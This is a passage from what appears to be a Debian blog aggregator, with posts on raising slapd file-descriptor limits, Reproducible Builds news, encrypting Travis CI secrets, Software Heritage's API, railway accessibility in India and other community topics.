disabling features in the codebase is not the correct solution.

Obvoursly, the problem was somewhere else.

I started investigating about system limits, which seems to have 2 main components:

  • system-wide limits (you tune these via sysctl, they live in the kernel)
  • user/group/process limits (via limits.conf, ulimit and prlimit)

According to my searchings, my slapd daemon was being hit by the latter. I reviewed the default system-wide limits and they seemed Ok. So, let’s change the other limits.

Most of the documentantion around the internet points you to a /etc/security/limits.conf file, which is then read by pam_limits. You can check current limits using the ulimit bash builtin.

In the case of my slapd:

arturo@debian:~% sudo su openldap -s /bin/bash
openldap@debian:~% ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 7915
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 2000
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

This seems to suggest that the openldap user is constrained to 1024 openfiles (and some more if we check the hard limit). The 1024 limit seems low for a rather busy service.

According to most of the internet docs, I’m supposed to put this in /etc/security/limits.conf:

[...]
#<domain>      <type>  <item>         <value>
openldap	soft	nofile		1000000
openldap	hard	nofile		1000000
[...]

I should check as well that pam_limits is loaded, in /etc/pam.d/other:

[...]
session		required	pam_limits.so
[...]

After reloading the openldap session, you can check that, indeed, limits are changed as reported by ulimit. But at some point, the slapd daemon starts to drop connections again. Thing start to turn weird here.

The changes we made until now don’t work, probably because when the slapd daemon is spawned at bootup (by root, sysvinit in this case) no pam mechanisms are triggered.

So, I was forced to learn a new thing: process limits.

You can check the limits for a given process this way:

arturo@debian:~% cat /proc/$(pgrep slapd)/limits
Limit                     Soft Limit           Hard Limit           Units
Max cpu time              unlimited            unlimited            seconds
Max file size             unlimited            unlimited            bytes
Max data size             unlimited            unlimited            bytes
Max stack size            8388608              unlimited            bytes
Max core file size        0                    unlimited            bytes
Max resident set          unlimited            unlimited            bytes
Max processes             16000                16000                processes
Max open files            1024                 4096                 files
Max locked memory         65536                65536                bytes
Max address space         unlimited            unlimited            bytes
Max file locks            unlimited            unlimited            locks
Max pending signals       16000                16000                signals
Max msgqueue size         819200               819200               bytes
Max nice priority         0                    0
Max realtime priority     0                    0
Max realtime timeout      unlimited            unlimited            us

Good, seems we have some more limits attached to our slapd daemon process.

If we search the internet to know how to change process limits, most of the docs points to a tool known as prlimit. According to the manpage, this is a tool to get and set process resource limits, which is just what I was looking for.

According to the docs, the prlimit system call is supported since Linux 2.6.36, and I’m running 3.2, so no problem here. Things looks promising. But yes, more problems. The prlimit tool is not included in the Debian Wheezy release.

A simple call to a single system call was not going to stop me now, so I searched more the web until I found this useful manpage: getrlimit(2).

There is a sample C code included in the manpage, in which we only need to replace RLIMIT_CPU with RLIMIT_NOFILE:

#define _GNU_SOURCE
#define _FILE_OFFSET_BITS 64
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/resource.h>

#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

int
main(int argc, char *argv[])
{
    struct rlimit old, new;
    struct rlimit *newp;
    pid_t pid;

    if (!(argc == 2 || argc == 4)) {
        fprintf(stderr, "Usage: %s <pid> [<new-soft-limit> "
                "<new-hard-limit>]\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    pid = atoi(argv[1]);        /* PID of target process */

    newp = NULL;
    if (argc == 4) {
        new.rlim_cur = atoi(argv[2]);
        new.rlim_max = atoi(argv[3]);
        newp = &new;
    }

    /* Set CPU time limit of target process; retrieve and display
       previous limit */

    if (prlimit(pid, RLIMIT_NOFILE, newp, &old) == -1)
        errExit("prlimit-1");
    printf("Previous limits: soft=%lld; hard=%lld\n",
            (long long) old.rlim_cur, (long long) old.rlim_max);

    /* Retrieve and display new CPU time limit */

    if (prlimit(pid, RLIMIT_NOFILE, NULL, &old) == -1)
        errExit("prlimit-2");
    printf("New limits: soft=%lld; hard=%lld\n",
            (long long) old.rlim_cur, (long long) old.rlim_max);

    exit(EXIT_FAILURE);
}

And them compile it like this:

arturo@debian:~% gcc limits.c -o limits

We can then call this new binary like this:

arturo@debian:~% sudo limits $(pgrep slapd) 1000000 1000000

Finally, the limit seems OK:

arturo@debian:~% cat /proc/$(pgrep slapd)/limits
Limit                     Soft Limit           Hard Limit           Units
Max cpu time              unlimited            unlimited            seconds
Max file size             unlimited            unlimited            bytes
Max data size             unlimited            unlimited            bytes
Max stack size            8388608              unlimited            bytes
Max core file size        0                    unlimited            bytes
Max resident set          unlimited            unlimited            bytes
Max processes             16000                16000                processes
Max open files            1000000              1000000              files
Max locked memory         65536                65536                bytes
Max address space         unlimited            unlimited            bytes
Max file locks            unlimited            unlimited            locks
Max pending signals       16000                16000                signals
Max msgqueue size         819200               819200               bytes
Max nice priority         0                    0
Max realtime priority     0                    0
Max realtime timeout      unlimited            unlimited            us

Don’t forget to apply this change every time the slapd daemon starts.

Nobody found this issue before? really?

14 February, 2017 08:24AM

Reproducible builds folks

Reproducible Builds: week 94 in Stretch cycle

Here's what happened in the Reproducible Builds effort between Sunday February 5 and Saturday February 11 2017:

Upcoming events

Patches sent upstream

Packages reviewed and fixed, and bugs filed

Chris Lamb:

Daniel Shahaf:

"Z. Ren":

Reviews of unreproducible packages

83 package reviews have been added, 8 have been updated and 32 have been removed in this week, adding to our knowledge about identified issues.

5 issue types have been added:

1 issue type has been updated:

Weekly QA work

During our reproducibility testing, the following FTBFS bugs have been detected and reported by:

  • Chris Lamb (7)
  • gregory bahde (1)

diffoscope development

diffoscope versions 71, 72, 73, 74 & 75 were uploaded to unstable by Chris Lamb:

strip-nondeterminism development

strip-nondeterminism 0.030-1 was uploaded to unstable by Chris Lamb:

buildinfo.debian.net development

reproducible-website development

Misc.

This week's edition was written by Chris Lamb & reviewed by a bunch of Reproducible Builds folks on IRC & the mailing lists.

14 February, 2017 12:19AM

Elizabeth Ferdman

10 Week Progress Update for PGP Clean Room

This Valentine’s Day I’m giving everyone the gift of GIFs! Because who wants to stare at a bunch of code? Or read words?! I’ll make this short and snappy since I’m sure you’re looking forward to a romantic night with your terminal.

A script called create-raid already exists in the main repository so I decided to add an activity for that in the main menu.


Here’s what the default activity for creating the master and subkeys will look like:


This activity should make key generation faster and more convenient for the user. The dialog allows the user to enter additional UIDs at the same time as she initially creates the keys (there’s another activity for adding UIDs later). The dialog won’t ask for a comment in the UID, just name and email.

The input boxes come with some defaults that were outlined in the wiki for this project, such as rsa4096 for the master and 1y for the expiry. However the user can still enter her own values for fields like algo and expiry. The user won’t customize usage here, though. There should be separate activities for creating a custom primary and custom subkeys. Here, the user creates a master key [SC], an encryption key [E], and optionally an additional signing [SC], encryption [E], and authentication key [A].

The last three weeks of the internship will consist of implementing more of the frontend dialogs for the activities in the main menu, validating user input, and testing.

Thanks for reading <3

14 February, 2017 12:00AM

February 13, 2017

Vincent Sanders

The minority yields to the majority!

Deng Xiaoping (who succeeded Mao) expounded this view and obviously did not depend on a minority to succeed. In open source software projects we often find ourselves implementing features of interest to a minority of users to keep our software relevant to a larger audience.

As previously mentioned I contribute to the NetSurf project and the browser natively supports numerous toolkits for numerous platforms. This produces many challenges in development to obtain the benefits of a more diverse user base. As part of the recent NetSurf developer weekend we took the opportunity to review all the frontends to make a decision on their future sustainability.

Each of the nine frontend toolkits were reviewed in turn and the results of that discussion published. This task was greatly eased because we we able to hold the discussion face to face, over time I have come to the conclusion some tasks in open source projects greatly benefit from this form of interaction.

Netsurf running on windows showing this blog post
Coding and day to day discussions around it can be easily accommodated va IRC and email. Decisions affecting a large area of code are much easier with the subtleties of direct interpersonal communication. An example of this is our decision to abandon the cocoa frontend (toolkit used on Mac OS X) against that to keep the windows frontend.

The cocoa frontend was implemented by Sven Weidauer in 2011, unfortunately Sven did not continue contributing to this frontend afterwards and it has become the responsibility of the core team to maintain. Because NetSuf has a comprehensive CI system that compiles the master branch on every commit any changes that negatively affected the cocoa frontend were immediately obvious.

Thus issues with the compilation were fixed promptly but because these fixes were only ever compile tested and at some point the Mac OS X build environments changed resulting in an application that crashes when used. Despite repeatedly asking for assistance to fix the cocoa frontend over the last eighteen months no one had come forward.

And when the topic was discussed amongst the developers it quickly became apparent that no one had any objections to removing the cocoa support. In contrast the windows frontend, which despite having many similar issues to cocoa, we decided to keep. These were almost immediate consensus on the decision, despite each individual prior to the discussion not advocating any position.

This was a single example but it highlights the benefits of a disparate development team having a physical meeting from time to time. However this was not the main point I wanted to discuss, this incident highlights that supporting a feature only useful to a minority of users can have a disproportionate cost.

The cost of a feature for an open source project is usually a collection of several factors:
Developer time
Arguably the greatest resource of a project is the time its developers can devote to it. Unless it is a very large, well supported project like the Kernel or libreoffice almost all developer time is voluntary.
Developer focus
Any given developer is likely to work on an area of code that interests them in preference to one that does not. This means if a developer must do work which does not interest them they may loose focus and not work on the project at all.
Developer skillset
A given developer may not have the skillset necessary to work on a feature, this is especially acute when considering minority platforms which often have very, very few skilled developers available.
Developer access
It should be obvious that software that only requires commodity hardware and software to develop is much cheaper than that which requires special hardware and software. To use our earlier example the cocoa frontend required an apple computer running MAC OS X to compile and test, this resource was very limited and the project only had access to two such systems via remote desktop. These systems also had to serve as CI builders and required physical system administration as they could not be virtualized.
Support
Once a project releases useful software it generally gains users outside of the developers. Supporting users consumes developer time and generally causes them to focus on things other than code that interests them.

While most developers have enough pride in what they produce to fix bugs, users must always remember that the main freedom they get from OSS is they recived the code and can change it themselves, there is no requirement for a developer to do anything for them.
Resources
A project requires a website, code repository, wiki, CI systems etc. which must all be paid for. Netsurf for example is fortunate to have Pepperfish look after our website hosting at favorable rates, Mythic beasts provide exceptionally good rates for the CI system virtual machine along with hardware donations (our apple macs were donated by them) and Collabora for providing physical hosting for our virtual machine server.

Despite these incredibly good deals the project still spends around 200gbp (250usd) a year on overheads, these services obviously benefit the whole project including minority platforms but are generally donated by users of the more popular platforms.
The benefits of a feature are similarly varied:
Developer learning
A developer may implement a feature to allow them to learn a new technology or skill
Project diversity
A feature may mean the project gets built in a new environment which reveals issues or opportunities in unconnected code. For example the Debian OS is built on a variety of hardware platforms and sometimes reveals issues in software by compiling it on big endian systems. These issues are often underlying bugs that are causing errors which are simply not observed on a little endian platform.
More users
Gaining users of the software is often a benefit and although most OSS developers are contributing for personal reasons having their work appreciated by others is often a factor. This might be seen as the other side of the support cost.

In the end the maintainers of a project often have to consider all of these factors and more to arrive at a decision about a feature, especially those only useful to a minority of users. Such decisions are rarely taken lightly as they often remove another developers work and the question is often what would I think about my contributions being discarded?

As a postscript, if anyone is willing to pay the costs to maintain the NetSurf cocoa frontend I have not removed the code just yet.

13 February, 2017 11:01PM by Vincent Sanders (noreply@blogger.com)

Petter Reinholdtsen

Ruling ignored our objections to the seizure of popcorn-time.no (#domstolkontroll)

A few days ago, we received the ruling from my day in court. The case in question is a challenge of the seizure of the DNS domain popcorn-time.no. The ruling simply did not mention most of our arguments, and seemed to take everything ØKOKRIM said at face value, ignoring our demonstration and explanations. But it is hard to tell for sure, as we still have not seen most of the documents in the case and thus were unprepared and unable to contradict several of the claims made in court by the opposition. We are considering an appeal, but it is partly a question of funding, as it is costing us quite a bit to pay for our lawyer. If you want to help, please donate to the NUUG defense fund.

The details of the case, as far as we know it, is available in Norwegian from the NUUG blog. This also include the ruling itself.

13 February, 2017 08:30PM

hackergotchi for Raphaël Hertzog

Raphaël Hertzog

Freexian’s report about Debian Long Term Support, January 2017

A Debian LTS logoLike each month, here comes a report about the work of paid contributors to Debian LTS.

Individual reports

In January, about 159 work hours have been dispatched among 13 paid contributors. Their reports are available:

Evolution of the situation

The number of sponsored hours increased slightly thanks to Exonet joining us.

The security tracker currently lists 37 packages with a known CVE and the dla-needed.txt file 36. The situation is roughly similar to last month even though the number of open issues increased slightly.

Thanks to our sponsors

New sponsors are in bold.

No comment | Liked this article? Click here. | My blog is Flattr-enabled.

13 February, 2017 05:33PM by Raphaël Hertzog

hackergotchi for Ben Hutchings

Ben Hutchings

Debian LTS work, January 2017

I was assigned 12.75 hours of work by Freexian's Debian LTS initiative and carried over 5.5 from December. I worked only 3 hours, so I carry over 15.25 hours - but I will probably give up some of those to the general pool.

I spent some time finishing off the linux security update mentioned in my December entry. I also backported the current version of wireless-regdb - not a security update, but an important one anyway - and issued DLA 785-1.

13 February, 2017 05:24PM

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

RcppTOML 0.1.1

Following up on the somewhat important RcppTOML 0.1.0 releaseas which brought RcppTOML to Windows, we have a first minor update 0.1.1. Two things changed: once again updated upstream code from Chase Geigle's cpptoml which now supports Date types too, and we added the ability to parse TOML from strings as opposed to only from files.

TOML is a file format that is most suitable for configurations, as it is meant to be edited by humans but read by computers. It emphasizes strong readability for humans while at the same time supporting strong typing as well as immediate and clear error reports. On small typos you get parse errors, rather than silently corrupted garbage. Much preferable to any and all of XML, JSON or YAML -- though sadly these may be too ubiquitous now.
TOML is making good inroads with newer and more flexible projects such as the Hugo static blog compiler, or the Cargo system of Crates (aka "packages") for the Rust language.

Changes in version 0.1.1 (2017-xx-yy)

  • Synchronized multiple times with ccptoml upstream adding support for local datetime and local date and more (PR #9, #10, PR #11)

  • Dates are now first class types, some support for local versus UTC times was added (though it may be adviseable to stick with UTC)

  • Parsing from (R) character variables is now supported as well

  • Output from print.toml no longer prints extra newlines

Courtesy of CRANberries, there is a diffstat report for this release.

More information and examples are on the RcppTOML page. Issues and bugreports should go to the GitHub issue tracker.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

13 February, 2017 12:06PM

February 12, 2017

hackergotchi for Shirish Agarwal

Shirish Agarwal

Density and accessibility

Around 2 decades back and a bit more I was introduced to computers. The top-line was 386DX which was mainly used as fat servers and some lucky institutions had the 386SX where IF we were lucky we could be able to play some games on it. I was pretty bad at Prince of Persia or most of the games of the era as most of the games depended on lightning reflexes which I didn’t possess. Then 1997 happened and I was introduced to GNU/Linux but my love of/for games still continued even though I was bad at most of them. The only saving grace was turn-based RPG’s (role-playing games) which didn’t have permadeath, so you could plan your next move. Sometimes a wrong decision would lead to getting a place from where it was impossible to move further. As the decision was taken far far break which lead to the tangent, the only recourse was to replay the game which eventually lead to giving most of those kind of games.

Then in/around 2000 Maxis came out with Sims. This was the time where I bought my first Pentium. I had never played a game which had you building stuff, designing stuff, no violence and the whole idea used to be about balancing priorities of trying to get new stuff, go to work, maintain relationships and still make sure you are eating, sleeping, have a good time. While I might have spent probably something close to 500 odd hours in the game or even more so, I spent the least amount of time in building the house. It used to be 4×4 when starting (you don’t have much of in-game money and other stuff you wanted to buy as well) to 8×8 or at the very grand 12×12. It was only the first time I spent time trying to figure out where the bathroom should be, where the kitchen should, where the bedroom should be and after that I could do that blind-folded. The idea behind my house-design used to be simplicity, efficient (for my character). I used to see other people’s grand creations of their houses and couldn’t understand why they made such big houses.

Now few days back, I saw few episodes of a game called ‘Stranded Deep’ . The story, plot is simple. You, the player are going in a chartered plane and suddenly lightning strikes ( game trope as today’s aircrafts are much better able to deal with lightning strikes) and our hero or heroine washes up on a beach with raft with the barest of possessions. Now the whole game is based upon him/her trying to survive, once you get the hang of the basic mechanics and you know what is to be done, you can do it. The only thing the game doesn’t have is farming but as the game has unlimited procedural world, you just paddle or with boat motor go island hopping and take all that what you need.

What was interesting to me was seeing a gamer putting so much time and passion in making a house.

When I was looking at that video, I realized that maybe because I live in a dense environment, even the designs we make either of houses or anything else is more to try to get more and more people rather than making sure that people are happy which leads to my next sharing.

Couple of days back, I read Virali Modi’s account of how she was molested three times when trying to use Indian Railways. She made a petition on change.org

While I do condemn the molestation as it’s an affront against individual rights, freedom, liberty, free movement, dignity.

Few of the root causes as pointed out by her, for instance the inability or non-preference to give differently-abled people the right to board first as well as awaiting to see that everybody’s boarded properly before starting the train are the most minimum steps that Indian Railways could take without spending even a paise. The same could be told/shared about sensitizing people, although I have an idea of why does Indian Railway not employ women porters or women attendants for precisely this job.

I accompanied a blind gentleman friend few times on Indian Railways and let me tell you, it was one of the most unpleasant experiences. The bogies which is given to them is similar or even less than what you see in unreserved compartments. The toilets were/are smelly, the gap between the station and the train was/is considerable for everybody from blind people, differently-abled people, elderly people as well. This is one of the causes of accidents which happen almost every day on Indian Railways. I also learnt that especially for blind people they are ‘looking’ for a sort of low-frequency whistle/noise which tells them the disabled coupe/bogie/coach will come at a specific spot in the Station. In a platform which could have anything between 1500-2000 people navigating it wouldn’t be easy. I don’t know about other places but Indian Railway Stations need to learn a lot to make it a space for differently abled to navigate by themselves.

Pune Station operates (originating or passing through) around 200 odd trains, with exceptions of all the specials and weekly trains that ply through, adding those would probably another 5-10 trains to the mix. Each train carries anywhere between 750-1000 odd people so roughly anywhere between 15-20 million pass through Pune Railway Station daily. Even if we take conservative estimates of around 5% of the public commuting from Pune, it would mean around 750,000 people travelling daily. Pune Railway Station has 6 stations and if I spread them equally it would come to around 100,000 people on one platform in 24 hours. Divide that equally by 24 hours and it comes to 4,160 people per hour.

Now you take those figures and you see the Pune platforms are under severe pressure. I have normalized many figures. For instance, just like airports, even in railways, there are specific timings where more trains come and go. From morning 0500 hrs to late night 2300 hrs. there would be lot many trains, whereas the graveyard shifts would have windows where maintenance of tracks and personnel takes place.

I dunno if people can comprehend 4000 odd people on the platform. Add to that you usually arrive at least an hour or two before a train departs even if you are a healthy person as Indian Railways has a habit of changing platforms of trains at the last minute.

So if you a differently abled person with some luggage for a long-distance train, the problems just multiply.

See drag accidents because of gap between railway bogies and platforms.

The width of the entrance to the bogie is probably between 30-40 inches but the design is such that 5-10 inches are taken on each side. I remembered the last year, our current Prime Minister, Mr. Narendra Modi had launched Accessible Campaign with great fanfare and we didn’t hear anything much after that.

Unfortunately, the site itself has latency and accessibility issues, besides not giving any real advice even if a person wants to know what building norms should one follow if one wants to make an area accessible. This was easily seen by last year’s audit in Delhi as well as other places. A couple of web-searches later, I landed up at a Canadian site to have some idea about the width of the wheelchair itself as well as additional room to manoeuvre.

Unfortunately, the best or the most modern coaches/bogies that Indian Railways has to offer are the LHB Bogies/Coaches.

Now while the Coaches/Bogies by themselves are a big improvement from the ICF Coaches which we still have and use, if you read the advice and directions shared on the Canadian site, the coaches are far from satisfactory for people who are wheel-chair bound. According to Government’s own census records, 0.6% of the population have movement issues. Getting all the differently-abled people together, it comes between 2, 2.5% of the population which is quite a bit. If 2-3 people out of every 100 people are differently-abled then we need to figure out something for them.While I don’t have any ideas as to how we could improve the surroundings, it is clear that we need the change.

While I was thinking,dreaming,understanding some of the nuances inadvertently, my attention/memories shifted to my ‘toilet’ experiences at both Mumbai and the Doha Airport. As had shared then, had been pleasantly surprised to see that both in Mumbai Airport as well as the Doha Airport, the toilets were pretty wide, a part of me was happy and a part of me was seeing the added space as wastefulness. With the understanding of needs of differently-abled people it started to make whole lot of sense. I don’t remember if I had shared then or not. Although am left wondering where they go for loo in the aircraft. The regular toilets are a tight fit for obese people, I am guessing aircrafts have toilets for differently-abled people as well.

Looking back at last year’s conference, we had 2-3 differently-abled people. I am just guessing that it wouldn’t have been a pleasant experience for them. For instance, where we were staying, at UCT it had stairs, no lifts so by default they probably were on ground-floor. Then where we were staying and where most of the talks were about a few hundred metres away and the shortest distance were by stairs, the round-about way was by road but had vehicles around so probably not safe that way as well. I am guessing they had to be dependant on other people to figure out things. There were so many places where there were stairs and no ramps and even if there were ramps they were probably a bit more than the 1:12 which is the advice given.

I have heard that this year’s venue is also a bit challenging in terms of accessibility for differently-abled people. I am clueless as to did differently-able find debconf16 in terms of accessibility or not ? A related query to that one, if a Debconf’s final report mentions issues with accessibility, do the venues make any changes so that at some future date, differently-abled people would have a better time. I know of Indian institutions reluctance to change, to do expenditure, dunno how western countries do it. Any ideas, comments are welcome.


Filed under: Miscellenous Tagged: #386, #accessibility, #air-travel, #Computers, #differently-abled, #Railways, gaming

12 February, 2017 10:44PM by shirishag75

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

Letting Travis keep a secret

More and more packages, be it for R or another language, are now interfacing different application programming interfaces (API) which are exposed to the web. And many of these may require an API key, or token, or account and password.

Which traditionally poses a problem in automated tests such as those running on the popular Travis CI service which integrates so well with GitHub. A case in point is the RPushbullet package where Seth Wenchel and I have been making a few recent changes and additions.

And yesterday morning, I finally looked more closely into providing Travis CI with the required API key so that we could in fact run continuous integration with unit tests following each commit. And it turns that it is both easy and quick to do, and yet another great showcase for ad-hoc Docker use.

The rest of this post will give a quick minimal run-down, this time using the gtrendsR package by Philippe Massicotte and myself. Start by glancing at the 'encrypting files' HOWTO from Travis itself.

We assume you have Docker installed, and a suitable base package. We will need Ruby, so any base Linux image will do. In what follows, I use Ubuntu 14.04 but many other Debian, Ubunti, Fedora, ... flavours could be used provided you know how to pick the relevant packages. What is shown here should work on any recent Debian or Ubuntu flavour 'as is'.

We start by firing off the Docker engine in the repo directory for which we want to create an encrypted file. The -v $(pwd):/mnt switch mounts the current directory as /mnt in the Docker instance:

edd@max:~/git/gtrendsr(master)$ docker run --rm -ti -v $(pwd):/mnt ubuntu:trusty
root@38b478356439:/# apt-get update    ## this takes a minute or two
Ign http://archive.ubuntu.com trusty InRelease
Get:1 http://archive.ubuntu.com trusty-updates InRelease [65.9 kB]
Get:2 http://archive.ubuntu.com trusty-security InRelease [65.9 kB]
# ... a dozen+ lines omitted ...
Get:21 http://archive.ubuntu.com trusty/restricted amd64 Packages [16.0 kB]    
Get:22 http://archive.ubuntu.com trusty/universe amd64 Packages [7589 kB]      
Fetched 22.4 MB in 6min 40s (55.8 kB/s)                                        
Reading package lists... Done
root@38b478356439:/# 

We then install what is needed to actually install the travis (Ruby) gem, as well as git which is used by it:

root@38b478356439:/# apt-get install -y ruby ruby-dev gem build-essential git
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
# ... lot of output ommitted ...
Processing triggers for ureadahead (0.100.0-16) ...
Processing triggers for sgml-base (1.26+nmu4ubuntu1) ...
root@38b478356439:/# 

This too may take a few minutes, depending on the networking bandwidth and other factors, and should in general succeed without the need for any intervention. Once it has concluded, we can use the now-complete infrastructure to install the travis command-line client:

root@38b478356439:/# gem install travis
Fetching: multipart-post-2.0.0.gem (100%)
Fetching: faraday-0.11.0.gem (100%)
Fetching: faraday_middleware-0.11.0.1.gem (100%)
Fetching: highline-1.7.8.gem (100%)
Fetching: backports-3.6.8.gem (100%)
Fetching: multi_json-1.12.1.gem (100%
# ... many lines omitted ...
Installing RDoc documentation for websocket-1.2.4...
Installing RDoc documentation for json-2.0.3...
Installing RDoc documentation for pusher-client-0.6.2...
Installing RDoc documentation for travis-1.8.6...
root@38b478356439:/#                        

This in turn will take a moment.

Once done, we can use the travis client to login into GitHub. In my base this requires a password and a two-factor authentication code. Also note that we switch directories first to be in the actual repo we had mounted when launching docker.

root@38b478356439:/# cd /mnt/    ## change to repo directory
root@38b478356439:/mnt# travis --login
Shell completion not installed. Would you like to install it now? |y| y
We need your GitHub login to identify you.
This information will not be sent to Travis CI, only to api.github.com.
The password will not be displayed.

Try running with --github-token or --auto if you don't want to enter your password anyway.

Username: eddelbuettel
Password for eddelbuettel: ****************
Two-factor authentication code for eddelbuettel: xxxxxx
Successfully logged in as eddelbuettel!
root@38b478356439:/mnt# 

Now the actual work of encrypting. For this particular package, we need a file .Rprofile containing a short option() segment setting a user-id and password:

root@38b478356439:/mnt# travis encrypt-file .Rprofile
Detected repository as PMassicotte/gtrendsR, is this correct? |yes| 
encrypting .Rprofile for PMassicotte/gtrendsR
storing result as .Rprofile.enc
storing secure env variables for decryption

Please add the following to your build script (before_install stage in your .travis.yml, for instance):

    openssl aes-256-cbc -K $encrypted_988d19a907a0_key -iv $encrypted_988d19a907a0_iv -in .Rprofile.enc -out .Rprofile -d

Pro Tip: You can add it automatically by running with --add.

Make sure to add .Rprofile.enc to the git repository.
Make sure not to add .Rprofile to the git repository.
Commit all changes to your .travis.yml.
root@38b478356439:/mnt#

That's it. Now we just need to follow-through as indicated, committing the .Rprofile.enc file, making sure to not commit its input file .Rprofile, and adding the proper openssl invocation with the keys known only to Travis to the file .travis.yml.

12 February, 2017 05:24PM

Stefano Zacchiroli

Opening the Software Heritage archive

... one API (and one FOSDEM) at a time

[ originally posted on the Software Heritage blog, reposted here with minor adaptations ]

Last Saturday at FOSDEM we have opened up the public API of Software Heritage, allowing to programmatically browse its archive.

We posted this while I was keynoting with Roberto at FOSDEM 2017, to discuss the role Software Heritage plays in preserving the Free Software commons. To accompany the talk we released our first public API, which allows to navigate the entire content of the Software Heritage archive as a graph of connected development objects (e.g., blobs, directories, commits, releases, etc.).

Over the past months we have been busy working on getting source code (with full development history) into the archive, to minimize the risk that important bits of Free/Open Sources Software that are publicly available today disappear forever from the net, due to whatever reason --- crashes, black hat hacking, business decisions, you name it. As a result, our archive is already one of the largest collections of source code in existence, spanning a GitHub mirror, injections of important Free Software collections such as Debian and GNU, and an ongoing import of all Google Code and Gitorious repositories.

Up to now, however, the archive was deposit-only. There was no way for the public to access its content. While there is a lot of value in archival per se, our mission is to Collect, Preserve, and Share all the material we collect with everybody. Plus, we totally get that a deposit-only library is much less exciting than a store-and-retrieve one! Last Saturday we took a first important step towards providing full access to the content of our archive: we released version 1 of our public API, which allows to navigate the Software Heritage archive programmatically.

You can have a look at the API documentation for full details about how it works. But to briefly recap: conceptually, our archive is a giant Merkle DAG connecting together all development-related objects we encounter while crawling public VCS repositories, source code releases, and GNU/Linux distribution packages. Examples of the objects we store are: file contents, directories, commits, releases; as well as their metadata, such as: log messages, author information, permission bits, etc.

The API we have just released allows to pointwise navigate this huge graph. Using the API you can lookup individual objects by their IDs, retrieve their metadata, and jump from one object to another following links --- e.g., from a commit to the corresponding directory or parent commits, from a release to the annotated commit, etc. Additionally, you can retrieve crawling-related information, such as the software origins we track (usually as VCS clone/checkout URLs), and the full list of visits we have done on any known software origin. This allows, for instance, to know when we took snapshots of a Git repository you care about and, for each visit, where each branch of the repo was pointing to at that time.

Our resources for offering the API as a public service are still quite limited. This is the reason why you will encounter a couple of limitations. First, no download of the actual content of files we have stored is possible yet --- you can retrieve all content-related metadata (e.g., checksums, detected file types and languages, etc.), but not the actual content as a byte sequence. Second, some pretty severe rate limits apply; API access is entirely anonymous and users are identified by their IP address, each "user" will be able to do a little bit more than 100 requests/hour. This is to keep our infrastructure sane while we grow in capacity and focus our attention to developing other archive features.

If you're interested in having rate limits lifted for a specific use case or experiment, please contact us and we will see what we can do to help.

If you'd like to contribute to increase our resource pool, have a look at our sponsorship program!

12 February, 2017 02:03PM

Elena 'valhalla' Grandi

Mobile-ish devices as freedom respecting working environments

Mobile-ish devices as freedom respecting working environments

On planet FSFE, there is starting to be a conversation on using tablets / Android as the main working platform.

It started with the article by Henri Bergius http://bergie.iki.fi/blog/working-on-android-2017/ which nicely covers all practical points, but is quite light on the issues of freedom.

This was rectified by the article by David Boddie http://www.boddie.org.uk/david/www-repo/Personal/Updates/2017/2017-02-11.html which makes an apt comparison of Android to “the platform it is replacing in many areas of work and life: Microsoft Windows” and criticises its lack of effective freedom, even when the OS was supposed to be under a free license.

I fully agree that lightweight/low powered hardware can be an excellent work environment, especially when on the go, and even for many kinds of software developement, but I'd very much rather have that hardware run an environment that I can trust like Debian (or another traditional GNU/Linux distribution) rather than the phone based ones where, among other problems, there is no clear distinction between what is local and trustable and what is remote and under somebody else's control.

In theory, it would be perfectly possible to run Debian on most tablet and tablet-like hardware, and have such an environment; in practice this is hard for a number of reasons including the lack of mainline kernel support for most hardware and the way actually booting a different OS on it usually ranges from the quite hard to the downright impossible.

Luckily, there is some niche hardware that uses tablet/phone SoCs but is sold with a GNU/Linux distribution and can be used as a freedom respecting work environment on-the-go: my current setup includes an OpenPandora https://en.wikipedia.org/wiki/Pandora_(console) (running Angstrom + a Debian chroot) and an Efika MX Smartbook https://en.wikipedia.org/wiki/Efika, but they are both showing their age badly: they have little RAM (especially the Pandora), and they aren't fully supported by a mainline kernel, which means that you're stuck on an old kernel and dependent on the producer for updates (which for the Efika ended quite early; at least the Pandora is still somewhat supported, at least for bugfixes).

Right now I'm looking forward to two devices as a replacement: the DragonBox Pyra https://en.wikipedia.org/wiki/DragonBox_Pyra (still under preorders) and the THERES-I laptop kit https://www.olimex.com/Products/DIY%20Laptop/ (hopefully available for sale "in a few months", and with no current mainline support for the SoC, but there is hope to see it from the sunxi community http://linux-sunxi.org/Main_Page).

As for software, the laptop/clamshell designs means that using a regular Desktop Environment (or, in my case, Window Manager) works just fine; I do hope that the availability of Pyra (with its touchscreen and 4G/"phone" chip) will help to give a bit of life back to the efforts to improve mobile software on Debian https://wiki.debian.org/Mobile

Hopefully, more such devices will continue to be available, and also hopefully the trend for more openness of the hardware itself will continue; sadly I don't see this getting outside of a niche market in the next few years, but I think that this niche will remain strong enough to be sustainable.

P.S. from nitpicker-me: David Boddie mentions the ability to easily download sources for any component with apt-get source: the big difference IMHO is given by apt-get build-dep, which also install every dependency needed to actually build the code you have just downloaded.

P.S.2: I also agree with Davide Boddie that supporting Conservancy https://sfconservancy.org/supporter/ is very important, and there are still a few hours left to have the contribution count twice.

12 February, 2017 10:05AM by Elena ``of Valhalla''

Iustin Pop

Fine art printing—at home

Fine art printing—at home

It is very interesting how people change over time. Way back in the analog film era, I was using a very cheap camera, and getting the film developed and pictures printed at random places in town. As the movement towards digital began, I started dreaming of a full digital workflow—take picture, download from camera, enjoy on your monitor. No more pesky physical stuff. And when I finally got a digital camera, I was oh-so-happy to finally get rid of films and prints.

